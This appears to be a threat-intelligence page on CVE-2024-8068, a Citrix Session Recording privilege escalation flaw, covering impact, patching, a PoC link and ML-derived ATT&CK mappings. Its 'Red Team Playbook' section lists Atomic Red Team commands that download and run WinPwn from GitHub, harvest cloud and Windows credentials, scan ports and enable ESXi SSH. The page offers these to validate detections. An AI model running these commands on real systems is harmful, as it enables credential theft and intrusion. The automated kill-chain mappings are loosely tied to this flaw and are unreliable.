CVE-2024-8068

HIGH CISA KEV POC Pub 12/11 Upd 21/10

Overview

This vulnerability is a privilege escalation flaw in Citrix Session Recording that arises from improper access control enforcement. The root cause lies in the insufficient restriction of authenticated users within the same Windows Active Directory domain, allowing them to elevate privileges to the NetworkService account. The affected component is the session recording server's access control mechanism within the Citrix Session Recording product.

Vulnerability Description

Privilege escalation to NetworkService Account access in Citrix Session Recording when an attacker is an authenticated user in the same Windows Active Directory domain as the session recording server domain

Impact

An attacker with a valid user account in the same Active Directory domain can escalate privileges to the NetworkService account on the session recording server. This elevated access enables lateral movement, unauthorized access to sensitive session recordings, and potential manipulation of recorded data. The prerequisite is possession of a low-privileged authenticated domain user account. The consequence includes compromise of session recording integrity and potential exposure of sensitive user session data within enterprise environments.

Solution

Citrix recommends applying the security updates detailed in the advisory CTX691941 available at https://support.citrix.com/s/article/CTX691941-citrix-session-recording-security-bulletin-for-cve20248068-and-cve20248069. The fix is included in Citrix Session Recording version 1912 cumulative update 3 (cu3) and later. Administrators should upgrade affected installations to these patched versions to remediate the vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Citrix Session Recording allows for privilege escalation to NetworkService Account access when an attacker is an authenticated user within the same Windows Active Directory domain as the session recording server. This flaw arises from improper access controls that fail to adequately segregate user privileges, enabling an authenticated user to elevate their permissions and gain access to sensitive system resources. The NetworkService Account, which has elevated privileges, can be exploited to perform unauthorized actions, potentially compromising the integrity and confidentiality of the recorded sessions and the underlying system.

Attack vectors for this vulnerability are particularly concerning due to the requirement for the attacker to be an authenticated user within the same domain. This scenario is common in enterprise environments where users often have legitimate access to various systems. An attacker could leverage social engineering techniques or exploit weak passwords to gain initial access. Once authenticated, the attacker could execute specially crafted requests or commands that exploit the privilege escalation flaw, allowing them to assume the NetworkService Account's privileges. This could lead to further exploitation, including accessing sensitive data, modifying system configurations, or deploying malware within the network.

The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Citrix Session Recording for compliance and monitoring purposes. The ability to escalate privileges to that of the NetworkService Account could lead to unauthorized access to critical data, including recorded sessions that may contain sensitive information. This breach of confidentiality could result in regulatory penalties, loss of customer trust, and reputational damage. Additionally, the potential for lateral movement within the network increases the risk of a broader compromise, making this vulnerability a serious concern for businesses.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular audits of user access rights and permissions can help identify and remediate any excessive privileges. Employing robust authentication mechanisms, such as multi-factor authentication, can significantly reduce the risk of unauthorized access. Additionally, monitoring and logging user activities can help detect anomalous behavior indicative of exploitation attempts. Organizations should also ensure that they are running the latest versions of Citrix Session Recording and apply any available patches promptly to address known vulnerabilities.

In conclusion, the privilege escalation vulnerability in Citrix Session Recording poses a substantial risk to organizations operating within a Windows Active Directory environment. The potential for an authenticated user to gain elevated privileges underscores the importance of stringent access controls and proactive security measures. By implementing comprehensive detection and mitigation strategies, organizations can better protect their systems and sensitive data from exploitation, thereby reducing the overall risk associated with this vulnerability.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-8068, with telemetry indicating a doubling in detection frequency over recent monitoring periods. Although no new exploit techniques or ransomware affiliations have been identified, this surge signals increased adversary interest and potential preparatory actions within environments running Citrix Session Recording. The heightened detection trend underscores the vulnerability’s attractiveness as a vector for privilege escalation in Windows Active Directory domains, amplifying the risk of lateral movement and unauthorized access. Consequently, the threat level associated with this vulnerability should be considered elevated, reflecting a growing likelihood of exploitation attempts that could impact organizational security postures if left unaddressed.



Update 2 — August 22, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-8068, highlighted by a notable surge in exploitation attempts and the emergence of a new public proof-of-concept exploit on GitHub. This development expands the exploit landscape, lowering the barrier for adversaries to leverage this privilege escalation vulnerability within Windows Active Directory domains hosting Citrix Session Recording. Although the EPSS score shows a slight decline, the increase in exploitation tools and detection frequency signals growing attacker interest and operational capability. For defenders, this means the vulnerability is becoming more accessible and actively targeted, increasing the likelihood of successful privilege escalation and lateral movement within affected environments. Consequently, the threat level should be reassessed as elevated, reflecting a heightened risk profile driven by both increased adversary engagement and the availability of exploit resources.

Affected Products (18)

Vendor Product Version CPE
citrix Citrix Session Recording All cpe:2.3:a:citrix:session_recording:*:*:*:*:-:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:-:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu1:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu2:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu3:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu4:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu5:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu6:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu7:*:*:ltsr:*:*:*
citrix Citrix Session Recording 1912 cpe:2.3:a:citrix:session_recording:1912:cu8:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:-:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu1:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu2:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu3:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu4:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2203 cpe:2.3:a:citrix:session_recording:2203:cu5:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2402 cpe:2.3:a:citrix:session_recording:2402:-:*:*:ltsr:*:*:*
citrix Citrix Session Recording 2407 cpe:2.3:a:citrix:session_recording:2407:-:*:*:-:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
HORKimhab/CVE-2024-8068-CVE-2024-8069
CVE-2024-8068, CVE-2024-8069
HORKimhab 0 0 2026-08-19 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

10 events
2026-08-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-19
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-08-25
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Privilege Escalation
100% privilege_escalation
Session Fixation
96% session_fixation
Insecure Direct Object Reference
56% idor
Authentication Bypass
47% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-122 Privilege Abuse
30%
High Medium
CAPEC-233 Privilege Escalation
30%
CAPEC-58 Restful Privilege Elevation
30%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-8068
support.citrix.com
GitHub CVE
https://support.citrix.com/s/article/CTX691941-citrix-session-recording-security-bulletin-for-cve20248068-and-cve20248069?language=en_US
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-8068